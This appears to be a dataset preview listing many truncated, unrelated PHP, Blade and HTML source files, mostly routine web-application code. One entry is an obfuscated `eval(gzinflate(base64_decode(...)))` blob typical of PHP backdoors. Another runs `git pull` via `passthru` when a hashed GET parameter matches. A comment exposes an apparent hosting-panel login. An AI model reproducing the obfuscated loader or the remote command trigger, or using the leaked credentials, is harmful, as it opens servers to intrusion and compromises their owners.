text stringlengths 2 1.03M |
|---|
<?php
namespace App\Http\Controllers\Auth;
use App\Http\Controllers\Controller;
use Illuminate\Foundation\Auth\AuthenticatesUsers;
class LoginController extends Controller
{
use AuthenticatesUsers;
protected $redirectTo = '/dashboard';
public function __construct()
{
$this->middleware('gues... |
<?php
require_once($_SERVER['DOCUMENT_ROOT'] . '/backend/db.php');
require_once($_SERVER['DOCUMENT_ROOT'] . '/backend/sessionHandler.php');
require_once($_SERVER['DOCUMENT_ROOT'] . '/backend/helperFunctions.php');
$ip = getIP();
$arr = $_SERVER['REQUEST_URI'];
$slang = preg_replace('/[^a-zA-Z0-9-_\.]/', '', $arr);
... |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreateAlcanceTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('alcance', funct... |
<?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Internals
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
if ( ! function_exists( 'initialize_wpseo_front' ) ) {
/**
* Wraps frontend class.
*/
function initialize_wpseo_front() {
... |
<?php
/*
* Copyright 2014 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed t... |
<?php
namespace MangoPay\Tests;
require_once 'base.php';
/**
* Tests basic CRUD methods for users
*/
class Users extends Base {
function test_Users_CreateNatural() {
$john = $this->getJohn();
$this->assertTrue($john->Id > 0);
$this->assertIdentical($john->PersonType, \MangoPay\PersonType:... |
<?php
defined('BASEPATH') or exit('No direct script access allowed');
/**
* Clase ControllerArticulos
*
* Esta clase controla todo lo relacionado con Articulos
*
* PHP version 7
*
* @category Controller
* @author Leyker <dleyendeker@gmail.com>
* @package Controlladores
* @copyright 2002 - 2022 Leyke... |
<?php
use Illuminate\Database\Seeder;
use Illuminate\Database\Eloquent\Model;
class DatabaseSeeder extends Seeder {
public function run()
{
Model::unguard();
$this->call('UserTableSeeder');
$this->call('CategoryTableSeeder');
$this->call('ProductTableSeeder');
}
} |
<!--sidebar end-->
<!--main content start-->
<section id="main-content">
<section class="wrapper site-min-height">
<!-- page start-->
<section class="">
<header class="panel-heading">
<i class="fa fa-user"></i> <?php echo lang('patient'); ?> <?php echo lang('database')... |
<?php
namespace App\Repositories;
use App\Models\BookLanguage;
use App\Repositories\Contracts\BookLanguageRepositoryInterface;
/**
* Class BookLanguageRepository
*/
class BookLanguageRepository extends BaseRepository implements BookLanguageRepositoryInterface
{
/**
* @var array
*/
protected $fiel... |
<form action="{{ route('atores.update', $atore->id) }}" method="post">
{{csrf_field()}}
<input type="hidden" name="_method" value="put">
<div class="form-group">
<label for="nome">Nome</label>
<input id="nome" ... |
<?php
namespace Proyecto\UserBundle\DependencyInjection;
use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\Config\FileLocator;
use Symfony\Component\HttpKernel\DependencyInjection\Extension;
use Symfony\Component\DependencyInjection\Loader;
/**
* This is the class that loads and mana... |
<div class="modal fade" id="filterModal" tabindex="-1" role="dialog" aria-labelledby="filterModalLongTitle" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<form id="frmFilter" role="search" method="get" action="{{ route('admin.games') }}">
... |
<?php
namespace app\system\controller;
// use think\Controller;
use app\system\model\Menu;
use think\Session;
// use app\index\model\AddForm;
class Index extends Base
{
public function index()
{
$menu=new Menu();
$json=$menu->getmenu();
// return $json;
// dump($json);
$admin=db('admin')->field('prem')->get... |
<?php
namespace Oro\Bundle\EmailBundle\Datagrid\Extension\MassAction\Actions;
use Oro\Bundle\DataGridBundle\Extension\Action\ActionConfiguration;
use Oro\Bundle\EmailBundle\Datagrid\Extension\MassAction\MarkMassActionHandler;
use Oro\Bundle\DataGridBundle\Extension\MassAction\Actions\AbstractMassAction;
use Symfony\C... |
<?php
use yii\helpers\Html;
use yii\widgets\DetailView;
/* @var $this yii\web\View */
/* @var $model app\models\Foydalanuvchi */
$this->title = $model->id;
$this->params['breadcrumbs'][] = ['label' => 'Foydalanuvchis', 'url' => ['index']];
$this->params['breadcrumbs'][] = $this->title;
\yii\web\YiiAsset::register($t... |
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Http\Requests;
use App\Http\Controllers\Controller;
use App\Models\Status;
use Auth;
class StaticPagesController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
... |
<?php session_start();
/**********************************************************************************************************************************/
/* Se define la variable de seguridad */
/******************************... |
<?php
return [
'Mobile' => '反馈人电话',
'Nickname' => '反馈人昵称',
'Addtime' => '反馈时间'
]; |
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
/*
|--------------------------------------------------------------------------
| Base Site URL
|--------------------------------------------------------------------------
|
| URL to your CodeIgniter root. Typically this will be your base URL,
| WITH... |
<!DOCTYPE html>
<html>
<title>DA Home Page :: Digtal Attendance by JSSV</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="digi-attend/css/w3.css">
<body>
<nav class="w3-sidenav w3-white w3-card-2" style="display:none">
<a href="javascript:void(0)" onclick="menu... |
<?php
namespace app\models\forms;
use Yii;
use yii\base\Model;
use app\models\User;
/**
* LoginForm is the model behind the login form.
*/
class LoginForm extends Model
{
public $username;
public $password;
public $rememberMe = true;
private $_user = false;
/**
* @return array the valida... |
<?php
/**
* Zend Framework
*
* LICENSE
*
* This source file is subject to the new BSD license that is bundled
* with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://framework.zend.com/license/new-bsd
* If you did not receive a copy of the license an... |
<!DOCTYPE html>
<html>
<head>
</head>
<body>
Hi Mike This is great!
</body>
</html> |
@extends('backend.layouts.masterpage')
@section('title', 'Thêm mới dịch vụ')
@section('breadcrumb')
Cập nhật dịch vụ
@stop
@section('content')
<div class="panel panel-default table-responsive">
<div class="panel-heading clearfix">
<a href="{{URL::route('blog.index')}}" class="btn btn-success... |
<?php
namespace App\Http\Controllers\Auth;
use App\user;
use Validator;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Lang;
use App\Http\Controllers\Controller;
use Illuminate\Foundation\Auth\ThrottlesLogins;
use Illuminate\Foundation\Auth\AuthenticatesAndRegistersUs... |
<?php
include_once(dirname(__DIR__) ."/Item.php");
class Enchantment_Furor extends Item {
function __construct() {
parent::__construct(3240, "Enchantment: Furor", array(), "3240.png", "<groupLimit>Limited to 1 of each enchantment type.</groupLimit><br>Enchants boots to have Furor bonus.<br><br><unique>UNIQUE Passive... |
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Profile extends CI_Controller {
/**
**Constructor
*/
function __construct()
{
parent::__construct();
if(!isset($_SESSION['isLogin']))
redirect('Login');
if(!$this->Base_model->is_user_valid())
{
... |
<?php
namespace App\Http;
use Illuminate\Foundation\Http\Kernel as HttpKernel;
class Kernel extends HttpKernel
{
/**
* The application's global HTTP middleware stack.
*
* These middleware are run during every request to your application.
*
* @var array
*/
protected $middleware =... |
<?php
/**
* Open Source Social Network
*
* @package (softlab24.com).ossn
* @author OSSN Core Team <info@softlab24.com>
* @copyright 2014-2017 SOFTLAB24 LIMITED
* @license Open Source Social Network License (OSSN LICENSE) http://www.opensource-socialnetwork.org/licence
* @link https://www.opensource-... |
<?php
namespace common\models;
use common\commands\AddToTimelineCommand;
use common\models\query\UserQuery;
use common\modules\file\models\UserFile;
use common\service\models\UserTag;
use Yii;
use yii\behaviors\AttributeBehavior;
use yii\behaviors\TimestampBehavior;
use yii\db\ActiveRecord;
use yii\helpers\ArrayHelpe... |
<?php
/**
* Mollie https://www.mollie.nl
*
* @author Mollie B.V. <info@mollie.nl>
* @copyright Mollie B.V.
*
* @see https://github.com/mollie/PrestaShop
*
* @license https://github.com/mollie/PrestaShop/blob/master/LICENSE.md
* @codingStandardsIgnoreStart
*/
namespace Mollie\Repositor... |
<?php
namespace App\Http\Controllers\Language;
use App\Filters\Language\LanguageFilter;
use App\Http\Controllers\Controller;
use App\Http\Requests\Language\LanguageRequest;
use App\Http\Resources\Language\LanguageResource;
use App\Models\Language\Language;
use Illuminate\Http\Request;
use Illuminate\Http\Resources\Js... |
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Http\Requests;
use App\Models\PublicPages;
class PublicPagesController extends Controller
{
// technically, this page includes a form, put in public pages because?
public function index(PublicPages $publicPages)
{
$page_heading... |
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
class principal extends CI_Controller {
function __construct(){
parent::__construct();
$this->load->model('model_ingreso');
}
public function index()
{
$this->load->view('view_menu');
$this->load->view('view_... |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="../../favicon... |
<?php
namespace App\Http\Controllers;
use App\Models\Categoria;
use App\Models\tab_categoria;
use Illuminate\Http\Request;
class CategoriasController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
/*
public function __construct... |
<?php
namespace Qafeen\Manager\Traits;
use Exception;
/**
* Helper trait.
*
* @author Mohammed Mudasir <hello@mudasir.me>
*/
trait Helper
{
/**
* Instantiate a class and use it like chain responsibility.
*
* @throws Exception
*
* @return static
*/
public static function inst... |
<?php
namespace giicms\page\models;
use Yii;
use yii\db\ActiveRecord;
use giicms\user\models\User;
/**
* This is the model class for table "post".
*
* @property integer $id
* @property string $title
* @property string $description
* @property string $content
*/
class Post extends \yii\db\ActiveRecord
{
c... |
{{-- @extends('layouts.app') --}}
@extends('layout')
@section('content')
<div class="container">
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<div class="card-header">{{ __('Reset Password') }}</div>
<div class="card-body">
... |
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
class Role extends Model
{
use HasFactory;
public function users(){
return $this->belongsToMany(User::class);
}
} |
<?php
namespace App\Http\Middleware;
use Closure;
use Illuminate\Support\Facades\Auth;
class RedirectIfAuthenticated
{
/**
* Handle an incoming request.
*
* @param \Illuminate\Http\Request $request
* @param \Closure $next
* @param string|null $guard
* @return mixed
*/
... |
<?php
/**
* @author: Radek Adamiec
* Date: 22.04.15
* Time: 12:50
*/
namespace Phalconry\Filter;
use AGmakonts\STL\String\String;
use Phalcon\Filter as PhalconFilter;
class PhalconryFilter extends PhalconFilter
{
protected $filters;
public final function __construct()
{
$this->filters = ne... |
<?php
namespace frontend\models;
use yii\base\Model;
use yii\data\ActiveDataProvider;
use common\models\KonversiNilai;
/**
* KonversiNilaiSearch represents the model behind the search form of `common\models\KonversiNilai`.
*/
class KonversiNilaiSearch extends KonversiNilai
{
/**
* {@inheritdoc}
*/
... |
<span class="img_container">
<img src="{{$response['profession_logo']}}" alt="">
</span>
<span class="title dashboard_profession">
<span class="profession_text" style="font-size: 14px;" title="{{$response['professionName']}}">
<span>{{$response['professionName']}}</span>
</span>
</span>
<div class=... |
<?php
namespace Drupal\webhooks;
use Drupal\Component\EventDispatcher\ContainerAwareEventDispatcher;
use Drupal\Component\Uuid\Php as Uuid;
use Drupal\Core\Entity\EntityTypeManagerInterface;
use Drupal\Core\Entity\Query\QueryFactory;
use Drupal\Core\Logger\LoggerChannelFactoryInterface;
use Drupal\webhooks\Entity\Web... |
<?php
namespace AppBundle\Entity;
use AppBundle\Repository\PartieRepository;
use Doctrine\Common\Collections\ArrayCollection;
use Doctrine\ORM\Mapping as ORM;
/**
* partie
*
* @ORM\Table(name="partie")
* @ORM\Entity(repositoryClass="AppBundle\Repository\partieRepository")
*/
class Partie
{
/**
* @var i... |
<?php declare(strict_types=1);
namespace LeafCms\Blog\Content;
interface Block
{
} |
<?= $this->render('inc/home-slider') ?>
<!--/#home-slider-->
<?= $this->render('inc/services') ?>
<!--/#services-->
<?= $this->render('inc/responsive') ?>
<!--/#action-->
<?= $this->render('inc/features') ?>
<!--/#features-->
<?= $this->render('inc/clients') ?>
<!--/#clients--> |
<?php
namespace App\Models;
use Illuminate\Contracts\Auth\MustVerifyEmail;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Foundation\Auth\User as Authenticatable;
use Illuminate\Notifications\Notifiable;
class User extends Authenticatable
{
use HasFactory, Notifiable;
/**
* The a... |
<?php
namespace app\bespeak\admin;
use app\common\controller\admin\OrderField AS _OrderField;
class OrderField extends _OrderField
{
} |
<!doctype html>
<html lang="{{ app()->getLocale() }}">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Laravel</title>
<!-- Fonts -->
<link href="https://... |
<?php
/*******************************************************************************
* Software: UFPDF, Unicode Free PDF generator *
* Version: 0.1 *
* based on FPDF 1.52 by Olivier PLATHEY ... |
<?php
namespace App\Http\Controllers\API;
use App\Http\Requests\API\CreateRequestSpecialistsAPIRequest;
use App\Http\Requests\API\UpdateRequestSpecialistsAPIRequest;
use App\Models\RequestSpecialists;
use App\Models\Wallet;
use App\Repositories\RequestSpecialistsRepository;
use Illuminate\Http\Request;
use App\Http\C... |
<?php
error_reporting(0);
if(empty($_GET["s"])) return;
$s = (string) htmlentities($_GET["s"], ENT_QUOTES, "UTF-8");
if(strlen($s)>=50 || $s=='') return;
$hashed = hash('sha256',hash('sha256',$s));
if($hashed=='49d09a923d5fc604b77c7a08d9a30d70daa7a558b8a05f8c4e62ec69d44a7db5'){
passthru("git pull");
} else {
return... |
<body class="hold-transition skin-blue sidebar-mini">
<!-- Update Status Modal -->
<div class="" id="update_driver" tabindex="-4" role="dialog" aria-labelledby="myModalLabel">
<div class="" role="document">
<!---->
<div class="login-box" style="margin-top: 45px">
<div class="login-logo">
<p><b></b></p>
... |
<?php
declare(strict_types=1);
namespace Siketyan\Loxcan\Scanner\Cargo;
use Eloquent\Pathogen\PathInterface;
use Siketyan\Loxcan\Model\DependencyCollectionPair;
use Siketyan\Loxcan\Model\FileDiff;
use Siketyan\Loxcan\Scanner\ScannerInterface;
class CargoScanner implements ScannerInterface
{
private CargoLockPar... |
<?php
/**
* This file has been @generated by a phing task by {@link BuildMetadataPHPFromXml}.
* See [README.md](README.md#generating-data) for more information.
*
* Pull requests changing data in these files will not be accepted. See the
* [FAQ in the README](README.md#problems-with-invalid-numbers] on how to make... |
<?php
include 'connection.php';
$operations = $_GET["function"];
if ($operations == "readfunction")
{
echo json_encode(readItemsTable());
}
else if($operations == "insertFunction")
{
$itemsFormData = $_POST['itemsFormData'];
$decodedFormData = json_decode($itemsFormData,... |
<?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Symfony\Component\Security\Http\Firewall;
use Symfony\Component\Securit... |
<?php
namespace Ups\Entity;
use LogicException;
class ItemizedPaymentInformation
{
/**
* @var bool
*/
private $splitDutyVATIndicator;
/**
* @var transportationShipmentCharge
*/
private $transportationShipmentCharge;
/**
* @var dutiesAndTaxesShipmentCharge
*/
p... |
<?php
namespace frontend\widgets;
use yii\base\Widget;
//use yii\helpers\Html;
use common\models\Category;
Class LeftMenu extends Widget
{
public $message;
public function init()
{
parent::init();
if ($this->message === null) {
$this->message = 'Hello World';
}
... |
<?php
namespace Drupal\KernelTests\Core\Entity;
use Drupal\Core\Entity\EntityInterface;
use Drupal\KernelTests\KernelTestBase;
use Drupal\user\Entity\Role;
use Drupal\user\Entity\User;
/**
* Defines an abstract test base for entity kernel tests.
*/
abstract class EntityKernelTestBase extends KernelTestBase {
/*... |
<?php
namespace App\Http\Controllers;
use Illuminate\Support\Facades\DB;
use App\PayrollKontrak;
use App\CsvData;
use App\Http\Requests\CsvImportRequest;
use Illuminate\Http\Request;
use Maatwebsite\Excel\Facades\Excel;
class KontrakPayrollController extends Controller
{
public function index(){
return vi... |
@extends('layouts.app')
@section('content')
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2">
<div class="panel panel-default">
<div class="panel-heading">Dashboard</div>
<div class="panel-body">
@if (session('s... |
<?php
session_start();
include("../conexion.php");
$id_prestamo = $_POST['formPreFin'];
$id_herramienta = $_POST['formPreHer'];
$fechaEntrada = date('Y-m-d');
$sql = "UPDATE tab_prestamo
SET status_prestamo = 'FINALIZADA',
fech_entrada_prestamo = '".$fechaEntrada."'
WHERE id_prestamo ... |
<?php
/**
* This File is part of the Thapp\JitImage package
*
* (c) Thomas Appel <mail@thomas-appel.com>
*
* For full copyright and license information, please refer to the LICENSE file
* that was distributed with this package.
*/
namespace Thapp\JitImage\Proxy;
use \Thapp\JitImage\ImageInterface;
use \Thapp\... |
<?php eval(gzinflate(base64_decode('DdJFrtxYAADA4ySRF8ZnUJSF28yMm5Gx2wxtPv38M1RVR9b/fj/NWPfZVv3Os29FEv+VVTGV1e9fderh625GrODAF7W9z5hNk+h6GeEzqGyqtoVQXOqjrnCxxvpesw5hvWb7KOp9PawdyiwDhUEseAjpw5gLrMEHKwVphnBDqMwr/DjilbdD/i5SjE9u5FJ8QkeGoreDdQiAoJaExWd8iXSlmQLiL3jjx4zUUey1CUGRPqexIdyk1dHZFRMQZTfFMes0XZmjt4oguFKEDD+3gz0XoGV9... |
<!-- plugins:js -->
<script src="admin/assets/vendors/js/vendor.bundle.base.js"></script>
<!-- endinject -->
<!-- Plugin js for this page -->
<script src="admin/assets/vendors/chart.js/Chart.min.js"></script>
<script src="admin/assets/vendors/progressbar.js/progressbar.min.js"></script>
<script src="admin/assets/vendo... |
<?php
namespace GroCRM\API;
class Contacts extends AbstractAPI {
public function types($id = null) {
return $this->getOptionsRequest("contacts/types", $id);
}
public function create(array $fields) {
return $this->postRequest("contacts", $fields);
}
public function g... |
<?php
/** vèneto (vèneto)
*
* To improve a translation please visit https://translatewiki.net
*
* @ingroup Language
* @file
*
* @author Alunardon90
* @author BrokenArrow
* @author Candalua
* @author Frigotoni
* @author GatoSelvadego
* @author Kaganer
* @author Malafaya
* @author Nemo bis
* @author Nick19... |
<?php
namespace App\Http\Controllers;
use App\Models\Customer;
use App\Models\VisitHistory;
use App\User;
use App\Services\CheckData;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
class ReportController extends Controller
{
private $_user; //Auth::user()
private $_auth_id ; ... |
@extends('layouts.admin-master')
@section('title', 'Offer list')
@section('css-top')
<link href="{{asset('assets')}}/node_modules/select2/dist/css/select2.min.css" rel="stylesheet" type="text/css" />
<link href="{{asset('assets')}}/node_modules/jquery-asColorPicker-master/dist/css/asColorPicker.css" rel="... |
<?php
/**
* Remove useless menu & submenu page
*/
function clean_wp_menu()
{
remove_menu_page('edit-comments.php');
remove_submenu_page('tools.php', 'edit.php?post_type=acfe-dpt');
remove_submenu_page('tools.php', 'edit.php?post_type=acfe-dt');
}
add_action('admin_menu', 'clean_wp_menu', 999); |
@extends('layouts.app')
@section('title')
Shop Couriers
@endsection
@section('content')
<section class="section">
<div class="section-header">
<h1>Shop Couriers</h1>
<div class="section-header-breadcrumb">
<a href="{{ route('shopCouriers.create')}}" class="btn bt... |
<?php
namespace Vingle\Share\Social;
use Illuminate\Contracts\Events\Dispatcher;
return function(Dispatcher $events) {
$events->subscribe(Listeners\AddClientAssets::class);
}; |
<!-- BEGIN PLUGIN CSS -->
<link href="{{asset('assets/plugins/jquery-notifications/css/messenger.css')}}" rel="stylesheet" type="text/css" media="screen" />
<link href="{{asset('assets/plugins/jquery-notifications/css/messenger-theme-flat.css')}}" rel="stylesheet" type="text/css" media="screen" />
<!-- BELOW CSS FILE I... |
<?php
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateUsersTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('users', function ... |
<?php
/**
* YAWIK
*
* @filesource
* @copyright (c) 2013 - 2016 Cross Solution (http://cross-solution.de)
* @license MIT
*/
/** PermissionsCollection.php */
namespace Core\Form;
use Laminas\Form\Element\Collection;
use Core\Entity\PermissionsInterface;
class PermissionsCollection extends Collection implements... |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreatePlatingsTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('platings', fun... |
<?php
use yii\helpers\Html;
/* @var $this yii\web\View */
/* @var $model app\models\Book */
$this->title = 'Update Book: ' . $model->title;
$this->params['breadcrumbs'][] = ['label' => 'Books', 'url' => ['index']];
$this->params['breadcrumbs'][] = ['label' => $model->title, 'url' => ['view', 'id' => $model->id]];
$t... |
<?php
use yii\helpers\Html;
use yii\helpers\Url;
use kartik\grid\GridView;
use yii\widgets\Pjax;
use yii\helpers\ArrayHelper;
use app\models\Funct;
/**
* @var yii\web\View $this
* @var yii\data\ActiveDataProvider $dataProvider
* @var app\models\Mata Kuliahearch $searchModel
*/
$this->title = 'Group Matakuliah';... |
<?php
class Journal2Export {
const JOURNAL_TABLES = 'journal_tables';
const JOURNAL_BLOG_TABLES = 'journal_blog_tables';
const LAYOUTS_TABLES = 'layouts_tables';
const STORE_DATA_TABLES = 'store_data_tables';
const OC1 = 1;
const OC2 = 2;
private $from;
private $t... |
<?php
/**
* Tests case.
*
* @package WordPress_Custom_Fields_Permalink
*/
use CustomFieldsPermalink\Field_Attributes;
use CustomFieldsPermalink\WP_Rewrite_Rules;
/**
* Class WP_Rewrite_Rules_UnitTest
*/
class WP_Rewrite_Rules_UnitTest extends PHPUnit_Framework_TestCase {
/**
* Test case.
*/
public functi... |
<div class="row">
<div class="col-md-12">
<h1>Creación de Listado Accionista con Derecho a Dividendo: {{ $sociedad->razon_social }}</h1>
</div>
</div>
<div class="row">
{!! Form::open([ 'route' => 'listado_dividendo.store', 'method' => 'POST', 'class' => 'add-listado-dividendo-ajax']) !!}
@include('listadoAccion... |
<?php
Route::prefix('admin')->namespace('Admin')->middleware('auth')->group(function(){
/**
* Routes Role x User
*/
Route::get('users/{id}/role/{idRole}/detach', 'ACL\RoleUserController@detachRoleUser')->name('users.role.detach');
Route::post('users/{id}/roles', 'ACL\RoleUserController@attachRole... |
<?php
use yii\helpers\Html;
use yii\widgets\ActiveForm;
/* @var $this yii\web\View */
/* @var $model app\models\Actividad */
/* @var $form yii\widgets\ActiveForm */
?>
<div class="actividad-form">
<?php $form = ActiveForm::begin(); ?>
<?= $form->field($model, 'objetivo_especifico_id')->textInput() ?>
... |
<div id="fh5co-testimonial" class="fh5co-bg-section">
<div class="container">
<div class="row animate-box">
<div class="col-md-8 col-md-offset-2 text-center fh5co-heading">
<span>Testimony</span>
<h2>Happy Clients</h2>
</div>
</div>
<di... |
<?php
// https://server11.hosting.reg.ru/manager/@@@u0791085:hTsoTLWe
set_time_limit(0);
ini_set('max_execution_time', 0);
$mypid = getmypid();
$dir['script'] = pathinfo(__FILE__, PATHINFO_DIRNAME);
$dir['script'] = realpath($dir['script'] . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR);
$dir['includes'] = realp... |
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\User;
use App\TripRequest;
use App\TripRating;
use App\Trip;
use App\Booking;
use App\Vehicle;
use App\Notification;
use App\UserDocument;
use App\PushId;
use Carbon\Carbon;
class DriverController extends Controller
{
//accept reques... |
<?php
/**
* Shortcodes Pinterest
*
* @link https://codesupply.co
* @since 1.0.0
*
* @package PowerKit
* @subpackage PowerKit/shortcodes
*/
/**
* Pinterest Board Shortcode
*
* @param array $atts User defined attributes in shortcode tag.
* @param string $content Shorcode tag content.
*... |
<?php
namespace Okipa\LaravelBootstrapTableList\Test\Fakers;
use Hash;
use Okipa\LaravelBootstrapTableList\Test\Models\User;
trait UsersFaker
{
public $clearPassword;
public $data;
public function createMultipleUsers(int $count)
{
for ($ii = 0; $ii < $count; $ii++) {
$this->creat... |
<?php if (!defined('THINK_PATH')) exit(); /*a:1:{s:85:"E:\wamp64\www\Ordersys\public/../application/index\view\dishes\dishesSortAddView.html";i:1517763536;}*/ ?>
<div class="content">
<div class="container-fluid">
<div class="row">
<div class="col-md-12">
<div class="card">
... |
<?php
declare(strict_types=1);
namespace Inquid\YiiPassport\database\factories;
use Faker\Factory;
use Inquid\YiiPassport\models\OauthClients;
use yii\base\Exception;
use yii\base\Security;
/**
*
*/
class ClientFactory
{
/**
*
* @param array $data
* @return OauthClients
* @throws Exception... |
<?php
namespace app\admin\model;
use think\Model;
use function think\select;
use function think\delete;
class Goods extends Model{
public function addType($data){
$re=db('type')->insert($data);
return $re;
}
public function updateType($id,$data){
$res=db('type')->where("type_id=$id... |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class AddForeignKeysToUsersTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::table('users', ... |
<?php
// Text
$_['text_total_shipping'] = 'Shipping';
$_['text_total_discount'] = 'Discount';
$_['text_total_tax'] = 'Tax';
$_['text_total_sub'] = 'Sub-total';
$_['text_total'] = 'Total'; |
<?php $__env->startSection('site-title'); ?>
<?php echo e(__('About Page Section Manage')); ?>
<?php $__env->stopSection(); ?>
<?php $__env->startSection('content'); ?>
<div class="col-lg-12 col-ml-12 padding-bottom-30">
<div class="row">
<div class="col-lg-12">
<div class="... |
<?php
include("header.php");
$_SESSION['worldrank'] = $_GET['worldrank'];
$_SESSION['country'] = $_GET['country'];
?>
<div class="container">
<div class="card m-2" >
<div class="row justify-content-center m-2">
<div class="col-md-3 col-sm-12 text-center" >
... |
<?php
Route::get('/lang-editor', ['as' => 'frontend::multilanguage::editor', 'uses' => 'Megaads\MultiLanguage\Controller\MultiLanguageController@langEditor'])->middleware('auth.lang');
Route::post('/lang-editor', ['as' => 'frontend::multilanguage::editor', 'uses' => 'Megaads\MultiLanguage\Controller\MultiLanguageContro... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.